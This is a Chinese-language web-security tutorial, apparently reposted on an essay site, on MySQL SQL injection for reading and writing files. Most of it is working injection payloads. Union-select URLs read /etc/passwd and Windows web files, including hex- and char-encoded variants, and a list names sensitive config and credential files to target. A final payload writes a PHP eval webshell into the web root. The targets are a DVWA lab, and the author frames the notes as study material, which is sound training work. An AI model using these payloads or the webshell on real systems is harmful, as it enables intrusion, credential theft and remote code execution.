1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > WEB安全之:Mysql 数据库 SQL 注入(三)

WEB安全之:Mysql 数据库 SQL 注入(三)

时间:2023-03-28 16:34:40

相关推荐

WEB安全之:Mysql 数据库 SQL 注入(三)

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Mysql 数据库 SQL 注入(三)

4 `secure_file_priv` :文件读写操作4.1 LOAD_FILE() 读文件4.1.1 系统常用目录文件4.2 `LOAD DATA INFILE` 导入文件内容到数据库4.3 `into outfile/dumpfile` 写入文件

4secure_file_priv:文件读写操作

新版浏览器可能需要查看页面源码才可以看到完整文件信息

原理

Mysql 新特性secure_file_priv用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。

NULL :默认,表示限制 Mysql 不允许导入导出。/dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下空值:表示不限制 Mysql 的导入|导出

可以通过命令查看这个属性

select @@secure_file_priv

若 Mysql + PHP 架构,PHP 配置文件 php.ini 中的 gpc 参数也会影响写入文件 :

gpc 开启:特殊字符都会被转义,如:'转义为\',此时需要对输入做转义

4.1 LOAD_FILE() 读文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

必须有权限读取并且文件必须完全可读

and (select count(*) from mysql.user)>0: 如果结果返回正常,说明具有读写权限。返回错误,应该是管理员给数据库帐户降权

预读取文件必须在服务器上

必须指定文件完整的路径

预读取文件必须小于max_allowed_packet

# linux:# 方式一http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file('/etc/passwd')-- &Submit=Submit## 方式二,对 /etc/passwd 进行16进制编码http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file(0x2f6574632f706173737764)-- &Submit=Submit## 方式三http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file((char(47,101,116,99,47,112,97,115,115,119,100)))-- &Submit=Submit## windows:# 方式一?id=-1 union select null,null,load_file('C:\\inetpub\\wwwroot\\\\index.php')# 方式二?id=-1 union select null,null,load_file('C:/inetpub/wwwroot//index.php')# 方式三:对 C:/inetpub/wwwroot//index.php 进行16进制编码?id=-1 union select null,null,load_file(0x433a2f696e65747075622f777777726f6f742f6c61622e636f6d2f696e6465782e706870)

4.1.1 系统常用目录文件

Linux 下load_file(char(47))#可以列出 FreeBSD, Sunos 系统根目录

# apache配置文件/etc/httpd/conf/httpd.conf # apache2缺省配置文件/usr/local/apache2/conf/httpd.conf# 虚拟网站设置/usr/local/apache2/conf/extra/httpd-vhosts.conf # PHP相关设置/usr/local/php5/lib/php.ini # 从中得到防火墙规则策略/etc/sysconfig/iptables # mysql的配置文件/etc/f # 系统版本/etc/redhat-release

Windows 下

# php配置信息C:\Windows\php.ini # MYSQL 配置文件,记录管理员登陆过的 MYSQL 用户名和密码C:\Program Files\mysql\my.ini# 查看IIS的虚拟主机配置C:\WINDOWS\system32\inetsrv\MetaBase.xml # 查看Windows系统Apache配置文件C:\Program Files\Apache Group\Apache\conf\httpd.confC:\apache\conf\httpd.conf D:\APACHE\Apache2\conf\httpd.conf

4.2LOAD DATA INFILE导入文件内容到数据库

LOAD DATA INFILE语句用于从文本文件中读取行,并装入数据库一个表中。

利用方式

注入过程中,当你拥有数据库的权限时,可以将关键系统文件(配置文件,密码文件等)利用load data infile导入到数据库中。

LOAD DATA INFILE '/tmp/text.txt' INTO TABLE test.tb1 FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' ESCAPED BY '#' LINES TERMINATED BY '\n'

4.3into outfile/dumpfile写入文件

into outfile:将查询数据输出保存到一个文件中,数据之前存在tab空格。into dumpfile:将查询数据输出保存到一个文件中,没有空格。

/article.php?id=-1 union select 1,'<?php phpinfo();eval($_POST[\'cmd\']);?>',3 into dumpfile 'C:\\inetpub\\wwwroot\\\\webshell.php'

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。